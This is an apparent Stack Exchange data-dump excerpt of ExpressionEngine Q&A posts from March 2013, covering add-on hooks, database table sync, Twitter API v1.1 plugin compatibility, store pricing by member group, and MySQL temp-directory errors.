  <row Id="7034" PostTypeId="1" CreationDate="2013-03-05T17:42:58.077" Score="1" ViewCount="296" Body="&lt;p&gt;EE 2.5.5. Postmaster 1.2. FreeMember 2.1.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The predefined hooks (some of which are named differently in the docs) don't contain one for member registration. So I'm using a user defined hook and entering:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;member_member_register&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when submitting a new member form I get a blank page after just under a minute. Everything works fine without that Postmaster Hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should mention that member accounts are automatically activated, which is one reason why we can't use the standard EE emails. Also, no info related to this hook appears in exp_postmaster_mailbox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something obvious?&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2013-03-05T17:42:58.077" Title="Postmaster user defined hooks &amp; member registration" Tags="|members|postmaster|registration|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7035" PostTypeId="2" ParentId="6538" CreationDate="2013-03-05T17:49:22.793" Score="1" Body="&lt;p&gt;This error has been fixed in FreeMember 2.2.1, released today:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/expressodev/freemember&quot; rel=&quot;nofollow&quot;&gt;https://github.com/expressodev/freemember&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-03-05T17:49:22.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7036" PostTypeId="2" ParentId="6848" CreationDate="2013-03-05T19:17:21.000" Score="2" Body="&lt;p&gt;Like MJR suggest, set a javascript timer to about the same length as the logout / session-expiration timer. Then redirect after timeout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The elegant part: Around 20 or 30 secs before expiration, popup a dialog that the session is about to expire.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(maybe redirect to a page where the user is going to be logged out, to prevent redirecting without the session actually being expired).&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-03-05T19:17:21.000" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7037" PostTypeId="1" CreationDate="2013-03-05T19:23:07.960" Score="1" ViewCount="223" Body="&lt;p&gt;Whilst upgrading a site from EE1 to EE2.5.5 I have been doing a lot of editing the database in Sequel Pro. All of which seems to be working fine so far...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'm having a problem with a straightforward channel entries tag to display past entries from a specific channel (id=2) all other channels work, and if I add show_future_entries=&quot;yes&quot; to the parameters it works for channel 2 (and shows the future entries).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my investigations I discovered that in the exp_channels table the row for channel_id 2 has a 0 for total_entries and last_entry_date but there are 39 rows in exp_channel_data and exp_channel_titles with a channel_id of 2 (and they all match up and have the same number of rows in total).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I add a new entry in channel 2 the exp_channels table row doesn't update, but does for other channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried editing the field directly in Sequel Pro to add the correct total_entries and last_entry_date. But when I post a new entry in channel 2 it reverts those 2 fields to 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; I just tried adding another new entry and it is updating the entry count now and channel entries tag queries show the new entries with a date before now, but still don't show the older ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to be the the older entries in the channel that I inserted directly (along with titles in the exp_titles table) didn't update the exp_channels table and that's the problem. Why it should matter I can't work out, as there aren't any fields in there that are related to entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So does anyone know what other table is updated when you add a new entry that is breaking the relationship?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realise that I must have screwed something up during my time editing the database directly but is there a way to re-synch the exp_channel table and why is this issue preventing the display of past entries?&lt;/p&gt;&#xA;" OwnerUserId="483" LastEditorUserId="483" LastEditDate="2013-03-05T22:13:16.963" LastActivityDate="2013-03-05T22:53:12.140" Title="MySQL channel table problem" Tags="|database|mysql|upgrade|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7038" PostTypeId="2" ParentId="7028" CreationDate="2013-03-05T20:14:25.997" Score="1" Body="&lt;p&gt;Here's an update on the situation...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I copied the installation to a new location. When I tried to view the control panel, I received a table error. All the advice online said to power on with the upgrade, so I followed the upgrade instructions and ran the upgrade script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Where I went wrong is that I stupidly forgot to change the config file when restoring the 1.x files (I had changed the config file during the move, and forgot to do it again during the upgrade).&lt;/strong&gt; It botched my live database because the config file was pointing it to the old database, not the new one. I'm currently waiting for the database to be restored by the host because my backup file is returning errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Silly error with big consequences. Fingers crossed it has a happy ending.&lt;/p&gt;&#xA;" OwnerUserId="437" LastEditorUserId="55" LastEditDate="2013-03-06T13:44:25.647" LastActivityDate="2013-03-06T13:44:25.647" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7039" PostTypeId="2" ParentId="7021" CreationDate="2013-03-05T20:24:02.747" Score="1" Body="&lt;p&gt;I can not speak for BrilliantRetail as I have never used it on a MSM site but you should not have problems creating separate stores completely with different currency, payment accounts, and products with either Store or CartThrob. I would assume the same would be true for BR but I can not speak from experience. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-03-05T20:24:02.747" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7040" PostTypeId="1" CreationDate="2013-03-05T20:28:20.640" Score="1" ViewCount="117" Body="&lt;p&gt;It appears that reporting is not quite working. On several of my sites I have noticed the reports barely work, crash, and/or just go back to the cp home. This is on both &quot;view&quot; and &quot;pdf&quot;. I can't get the dates to really work right either. Is this a known limitation, or am I doing something wrong on my side?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brad&lt;/p&gt;&#xA;" OwnerUserId="164" LastEditorUserId="28" LastEditDate="2013-03-05T20:41:33.743" LastActivityDate="2013-11-01T10:52:11.617" Title="Expresso Store Reports Not Working" Tags="|expresso-store|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7041" PostTypeId="2" ParentId="7037" CreationDate="2013-03-05T20:43:20.360" Score="1" Body="&lt;p&gt;Paul, you could try a debug tool like:&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/ee-debug-toolbar&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/ee-debug-toolbar&lt;/a&gt;&#xA;It could point you in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you try any direct calls (not using ee) to the db?&#xA;If so, is the data returned cleanly?&lt;/p&gt;&#xA;" OwnerUserId="1115" LastActivityDate="2013-03-05T20:43:20.360" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7042" PostTypeId="1" CreationDate="2013-03-05T20:50:32.700" Score="16" ViewCount="473" Body="&lt;p&gt;I am curious if anyone has setup BDD, ExpressionEngine and Continuous integration and could share their setup/approach? I have heard rumor of people using cucumber with EE but have not see any information about this in practice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Cory&lt;/p&gt;&#xA;" OwnerUserId="1116" LastEditorUserId="28" LastEditDate="2013-03-10T18:28:18.370" LastActivityDate="2015-09-24T20:50:44.243" Title="ExpressionEngine Continuous Integration BDD" Tags="|development|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7043" PostTypeId="2" ParentId="7019" CreationDate="2013-03-05T21:07:22.960" Score="0" Body="&lt;p&gt;There's also Selected Items: &lt;a href=&quot;http://brandnewbox.co.uk/products/details/selected_items&quot; rel=&quot;nofollow&quot;&gt;http://brandnewbox.co.uk/products/details/selected_items&lt;/a&gt;. Perhaps not as slick as Reorder, but free.&lt;/p&gt;&#xA;" OwnerUserId="283" LastActivityDate="2013-03-05T21:07:22.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7044" PostTypeId="2" ParentId="6892" CreationDate="2013-03-05T21:19:24.450" Score="0" Body="&lt;p&gt;How about modifying the output of WYGWAM processing... so the idea is that all url's are saved with a post processing tag in it... domain.com/{lang}/url&#xA;Then on the output you can process the lang variable for each field as you see fit.&#xA;But as above, not sure i like this solution. The different editor solution may be your best option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you are using the &quot;pages&quot; link to define the url, then i assume you are not changing this to match the language code? therefore the url will not be seo friendly in all languages?&#xA;i.e.&#xA;www.domain.com/en/fishing-page&#xA;www.domain.com/fr/fishing-page&#xA;and not&#xA;www.domain.com/fr/page-peche&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So just raising this as more of a point that you might want to investigate.&lt;/p&gt;&#xA;" OwnerUserId="1114" LastActivityDate="2013-03-05T21:19:24.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7045" PostTypeId="1" CreationDate="2013-03-05T22:03:58.620" Score="1" ViewCount="103" Body="&lt;p&gt;First post here, have read the faq etc and actually found a similar question, but rules say I should not tag a question onto an answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;( &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/678/trade-prices-in-expresso-store&quot;&gt;Trade prices in exp:resso Store&lt;/a&gt; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scenario : Website currently only sells to trade. Website displays all info apart from price to visitors. Trade clients have a manually assigned login and prices are then displayed. Ordering is carried out off site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Client would like to offer online ordering to existing Trade customers, and potentially general web customers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it be possible to set up a Trade Store field and a Customer Store field within the channel and then use conditionals to display within the templates? There will obviously be some duplication of entry in the channel entry, but this appears to me to be the easiest work around. &lt;/p&gt;&#xA;" OwnerUserId="1117" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-03-05T22:26:08.970" Title="Exp-resso Store : Trade and web customers" Tags="|expresso-store|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7046" PostTypeId="2" ParentId="6959" CreationDate="2013-03-05T22:04:35.390" Score="0" Body="&lt;p&gt;A simple embed did the trick, we simply check {if '{segment_2}' == '{url_title}'} and it its true I have an embed that then uses this plugin to redirect: &lt;a href=&quot;http://blog.builtbyprime.com/php/301-redirect-for-expression-engine-2&quot; rel=&quot;nofollow&quot;&gt;http://blog.builtbyprime.com/php/301-redirect-for-expression-engine-2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Job done :)&lt;/p&gt;&#xA;" OwnerUserId="886" LastActivityDate="2013-03-05T22:04:35.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7047" PostTypeId="2" ParentId="7045" CreationDate="2013-03-05T22:26:08.970" Score="1" Body="&lt;p&gt;As mentioned in the linked post. You can only assign one Store field per entry so you would either need to do&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;If your products are fairly simple and wont have modifiers effecting the price you can create the different price levels as modifiers per product then use a conditional in your template to preselect the proper modifier in a hidden field. The only downside to this is that the product modifier names would need to be the same so the in   template conditionals worked without any problems.&lt;/p&gt;&#xA;&lt;p&gt;The second option would be to create 2 channels for your products. Lets call the first channel &amp;quot;product_details&amp;quot; which would house all of your details about the product but would not contain a Store fieldtype. In the second channel lets call it &amp;quot;product_prices&amp;quot; you would want to create 3 fields a Store fieldtype, Playa, and a dropdown or select field that would allow you select which member group the entry would apply to. Then in your template you would list the items on the site using the product_details channel and would then need to have the playa field search for the related entries where you dropdown or select had a value of the currently logged in member.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;If you wanted to have different prices per member group. IF you are just wanting to only show the prices to people that are logged in as trade members you can do something along the line of:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{if member_group == X}{price}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Where &amp;quot;X&amp;quot; is the member group id of the trade group. If you do not want to sell to normal visitors you could do something along the lines of&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in}{price}{if:else}Log into see the price{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="115" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-03-05T22:26:08.970" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7048" PostTypeId="2" ParentId="7037" CreationDate="2013-03-05T22:53:12.140" Score="0" Body="&lt;p&gt;After re-checking the database tables again I noticed that the older entries had an expiration date set. Not sure show, as they haven't been used before, so must have happened during the direct database editing. So changed them all to 0 and they are now showing up. So that is what was blocking them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't see the expiration date in the control panel entry page as I'd already hidden it to stop people using it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the exp_channels table is still showing only 4 entries (the new ones I've created during testing) and not the 42 that are in the the exp_channel_data table with and channel_id of 2. Is this likely to be any issue in the future?&lt;/p&gt;&#xA;" OwnerUserId="483" LastActivityDate="2013-03-05T22:53:12.140" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7049" PostTypeId="1" AcceptedAnswerId="7051" CreationDate="2013-03-05T23:22:52.520" Score="1" ViewCount="664" Body="&lt;p&gt;I noticed that EllisLab recently deprecated their Twitter-Timeline plugin due to Twitter's retirement of the API it uses:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/EllisLab/Twitter-Timeline/&quot; rel=&quot;nofollow&quot;&gt;https://github.com/EllisLab/Twitter-Timeline/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone been able to use any of the Twitter-related add-ons at Devot:ee to achieve the same effect? If anyone has any suggestions in this area (regarding embedding Twitter timelines in EE page templates), I would be glad to hear them. Similarly, any information about whether an updated version of the EllisLab original plugin is in the works would also be quite welcome. &lt;/p&gt;&#xA;" OwnerUserId="1109" LastActivityDate="2013-06-25T15:54:43.410" Title="Twitter Timelines in EE" Tags="|add-on|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7050" PostTypeId="1" CreationDate="2013-03-05T23:36:53.977" Score="1" ViewCount="205" Body="&lt;p&gt;I have Matrix installed into EE and am getting single pictures out. I need to add a JQuery light box to manage my pictures. I have added ColorBox and it is working with hard coded hrefs. The Matrix docs says I need to use:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Matrix.bind('fieldtype_class', 'event_name', function(cell){&#xA;  // custom code here&#xA;});&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I presume &quot;custom code&quot; means the ColorBox finction call ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I am not too sure what is meant by 'fieldtype_class' and 'event_name'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;MANY THANKS for your advice - sorry it's such a newb Q. &lt;/p&gt;&#xA;" OwnerUserId="1118" LastEditorUserId="252" LastEditDate="2013-03-06T07:10:45.093" LastActivityDate="2013-03-06T10:26:04.220" Title="Newb: Need help with integrating P&amp;T Matrix into JQuery" Tags="|matrix|jquery|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7051" PostTypeId="2" ParentId="7049" CreationDate="2013-03-06T00:01:54.753" Score="1" Body="&lt;p&gt;We use &lt;a href=&quot;http://devot-ee.com/add-ons/ce-tweet&quot; rel=&quot;nofollow&quot;&gt;CE Tweet&lt;/a&gt; by &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-tweet&quot; rel=&quot;nofollow&quot;&gt;Causing Effect&lt;/a&gt;. I'm not really certain all Twitter Timeline did, but CE Tweet uses Twitter's new API v 1.1, OAuth, and has a number of great features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We primarily use it to bring a clients tweets directly into ExpressionEngine, so we can display however needed. I believe you can also use it to post to Twitter. It was pretty easy to set-up, but make sure you follow the instructions carefully. The various keys you need to create are important.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-03-06T00:01:54.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7053" PostTypeId="1" AcceptedAnswerId="7059" CreationDate="2013-03-06T00:17:38.620" Score="2" ViewCount="124" Body="&lt;p&gt;I just want to confirm that the interminttant issues on this site not rendering (blank page) and this error are related to web hosting and not EE/Low Variables 2.3.4:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error Number: 1&#xA;&#xA;Can't create/write to file '/tmp/#sql_a34_0.MYI' (Errcode: 28)&#xA;&#xA;SELECT `ee`.`variable_name`, `ee`.`variable_data` FROM (`exp_global_variables` AS ee) JOIN `exp_low_variables` AS low ON `ee`.`variable_id` = `low`.`variable_id` WHERE `ee`.`site_id` = '1' AND `low`.`early_parsing` = 'y' ORDER BY `low`.`group_id`, `low`.`variable_order`&#xA;&#xA;Filename: third_party/low_variables/ext.low_variables.php&#xA;&#xA;Line Number: 323&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="313" LastEditorUserId="942" LastEditDate="2013-03-06T18:08:43.927" LastActivityDate="2013-03-06T18:08:43.927" Title="Is this a hosting/database issue not an EE issue?" Tags="|low-variables|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7054" PostTypeId="2" ParentId="7049" CreationDate="2013-03-06T00:19:36.980" Score="3" Body="&lt;p&gt;Have you seen this listing: &lt;a href=&quot;http://www.janinedalton.com/blog/archives/2013/expressionengine-twitter-api-v1-1-add-ons/&quot; rel=&quot;nofollow&quot;&gt;Twitter API v1.1 add-ons&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-03-06T00:19:36.980" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7055" PostTypeId="1" CreationDate="2013-03-06T01:33:40.087" Score="0" ViewCount="112" Body="&lt;p&gt;So I have searched but I seem to only find information on setting up EE in the config.php for multiple server environments - local, staging, production. What Im looking to get some information on is adding a new server to my already existing setup. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have added another server, copied over my EE install and put that up on the site. The new servers ip loads up the site minus any dynamic data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;: Can I use one EE install and MySql database to run the site on two servers? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Server 1 = MySql, EE, site&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Server 2 = remote into server 1, connect to MySql, use server 1 EE, show site&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this makes sense, but I dont see a reason to install EE twice. I also dont see a reason to have another DB setup which would require replication of data.   &lt;/p&gt;&#xA;" OwnerUserId="732" LastActivityDate="2013-03-06T03:31:45.833" Title="EE 1, adding another server" Tags="|ee1|config|mysql|server|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7056" PostTypeId="1" AcceptedAnswerId="7057" CreationDate="2013-03-06T02:32:49.073" Score="8" ViewCount="837" Body="&lt;p&gt;As we all know, the Twitter v1 API is being shut down, so any plugins not using the new API will stop working in the near future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Which ExpressionEngine Twitter plugins have already been updated, and which will stop working soon?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further reading:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ellislab.com/blog/entry/reminder-twitter-api-v1-being-retired-soon&quot;&gt;Reminder: Twitter API v1 Being Retired Soon&lt;/a&gt; on EllisLab.com&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://dev.twitter.com/blog/planning-for-api-v1-retirement&quot;&gt;Planning for API v1’s Retirement&lt;/a&gt; on Twitter.com&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; I'm marking this as community wiki so that anyone with useful information can contribute.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-06-20T14:42:20.770" Title="Which Twitter plugins are compatible with the new v1.1 API?" Tags="|add-on|twitter|" AnswerCount="3" CommentCount="0" CommunityOwnedDate="2013-03-06T02:32:49.073" ContentLicense="CC BY-SA 3.0" />
  <row Id="7057" PostTypeId="2" ParentId="7056" CreationDate="2013-03-06T02:32:49.073" Score="12" Body="&lt;p&gt;This answer is partly based on &lt;a href=&quot;http://www.janinedalton.com/blog/archives/2013/expressionengine-twitter-api-v1-1-add-ons/&quot; rel=&quot;nofollow&quot;&gt;ExpressionEngine Twitter API v1.1 add-ons&lt;/a&gt;. It is a &quot;community wiki&quot; answer, so please feel free to edit it with any extra information available (state sources where possible).&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Already Updated for API v1.1&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-tweet&quot; rel=&quot;nofollow&quot;&gt;CE Tweet 1.3+&lt;/a&gt; ($) by Causing Effect&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/click-rain/EE_Twitter/&quot; rel=&quot;nofollow&quot;&gt;EE Twitter 1.0+&lt;/a&gt; (Free) by Click Rain&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ee-garage.com/nsm-twitter&quot; rel=&quot;nofollow&quot;&gt;NSM Twitter&lt;/a&gt; ($) by Newism / EE Garage &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/social-login&quot; rel=&quot;nofollow&quot;&gt;Social Login&lt;/a&gt; ($) by Yuri Salimovskiy (intoEEtive)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/social-login-pro&quot; rel=&quot;nofollow&quot;&gt;Social Login Pro&lt;/a&gt; ($) by Yuri Salimovskiy (intoEEtive)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/social-update&quot; rel=&quot;nofollow&quot;&gt;Social Update&lt;/a&gt; ($) by Yuri Salimovskiy (intoEEtive)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Permanently Deprecated / Will Not Be Updated&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/EllisLab/Twitter-Timeline&quot; rel=&quot;nofollow&quot;&gt;Twitter Timeline&lt;/a&gt; (Free) by EllisLab&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/tgl-twitter&quot; rel=&quot;nofollow&quot;&gt;TGL Twitter&lt;/a&gt; (Free) by Bryant Hughes / The Good Lab&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/expressodev/twitter_search&quot; rel=&quot;nofollow&quot;&gt;Twitter Search 2&lt;/a&gt; (Free) by Exp:resso&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Unknown Status&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/tweetline&quot; rel=&quot;nofollow&quot;&gt;Tweetline&lt;/a&gt; (Free) by David Dexter / Codesly (last updated June 2012 so unlikely)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="150" LastEditorUserId="386" LastEditDate="2013-06-20T14:42:20.770" LastActivityDate="2013-06-20T14:42:20.770" CommentCount="0" CommunityOwnedDate="2013-03-06T02:32:49.073" ContentLicense="CC BY-SA 3.0" />
  <row Id="7058" PostTypeId="2" ParentId="6993" CreationDate="2013-03-06T03:05:07.147" Score="5" Body="&lt;p&gt;It's certainly possible without hacking. Just that the EE documentation isn't particularly helpful on how to handle this sort of thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, you want to write a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/modules.html&quot;&gt;Module&lt;/a&gt;. Then you need to register an &quot;action&quot; in your module's install script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = array(&#xA;    'class'     =&amp;gt; 'Module_name' ,&#xA;    'method'    =&amp;gt; 'method_to_call'&#xA;);&#xA;&#xA;$this-&amp;gt;EE-&amp;gt;db-&amp;gt;insert('actions', $data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Bingo. This will give you an endpoint which you can use to create your API (this is how all EE modules work when handling form submissions from the front end). You action will get an ID like &lt;code&gt;123&lt;/code&gt;, and will be accessible at &lt;code&gt;http://www.example.com/index.php?ACT=123&lt;/code&gt;. This will then call the method you specified in the install script (this method must be defined in your class in &lt;code&gt;mod.addonname.php&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can check input data, access the database, return JSON... whatever you like. For an example of this in action, check out &lt;a href=&quot;https://github.com/expressodev/freemember&quot;&gt;FreeMember&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: This doesn't involve any routing, but it builds a perfectly valid web service endpoint. If you want custom routing, the only way to go is to create an extension using the &lt;code&gt;sessions_end&lt;/code&gt; hook, and add your own router code which checks for specific URLs and handles the response. It's WAY easier to just work with EE's built in ACT handling.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-03-06T03:05:07.147" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7059" PostTypeId="2" ParentId="7053" CreationDate="2013-03-06T03:20:46.013" Score="2" Body="&lt;pre&gt;&lt;code&gt;Can't create/write to file '/tmp/#sql_a34_0.MYI' (Errcode: 28)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&quot;&lt;a href=&quot;http://dev.mysql.com/doc/refman/5.0/en/cannot-create.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Errcode: 28&lt;/strong&gt;&lt;/a&gt;&quot; means MYSQL can't write to the tmp directory because it is full. You'll need to contact the host to have them fix the issue.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-03-06T03:31:27.250" LastActivityDate="2013-03-06T03:31:27.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7060" PostTypeId="2" ParentId="7055" CreationDate="2013-03-06T03:31:45.833" Score="1" Body="&lt;p&gt;You don't provide too much information but yes you can assuming that you have configured your database server to allow remote connections from your other server. I'm assuming these servers are both located with the same host or you may hit some serious latency issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ideal setup though in this situation rather than maintaining duplicate copies of ExpressionEngine on two servers (which you could maintain via rsync) would be to mount an NFS volume on Server 2 (so create an export on Server 1). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to show your site on both servers you are also going to need a load balancer sitting in front of them both. &lt;/p&gt;&#xA;" OwnerUserId="408" LastActivityDate="2013-03-06T03:31:45.833" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7061" PostTypeId="2" ParentId="7017" CreationDate="2013-03-06T03:50:20.173" Score="1" Body="&lt;p&gt;I just tried it like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:assets:folders parent_folder=&quot;{filedir_1}&quot;} &#xA;{folder_name}, {folder_id}&amp;lt;br /&amp;gt;&#xA;{/exp:assets:folders}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In a totally blank template, and got back a list of folders and IDs for Filedir 1.  Do you have anything else in your template when testing?  And you're absolutely certain about the ID for that File Upload Preference?&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-03-06T03:50:20.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7062" PostTypeId="1" AcceptedAnswerId="7065" CreationDate="2013-03-06T05:26:06.983" Score="0" ViewCount="38" Body="&lt;p&gt;I am new to EE and trying to figure out how to use it for our CMS needs.&#xA;We have the following 2 channels, names self-explanatory:&#xA;1. News Articles&#xA;2. Press Releases&#xA;These will have their own pages where all channel entries of each type are listed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But also:&#xA;On the homepage we display a &quot;top story&quot; which is always either a selected news article OR press release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I give content managers the ability to tell EE what to display as top story on a given day, by selecting either a specific news article, or a specific press release?&lt;/p&gt;&#xA;" OwnerUserId="1058" LastActivityDate="2013-03-06T07:50:39.177" Title="How to use the same template section for content from different channels at different times?" Tags="|entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
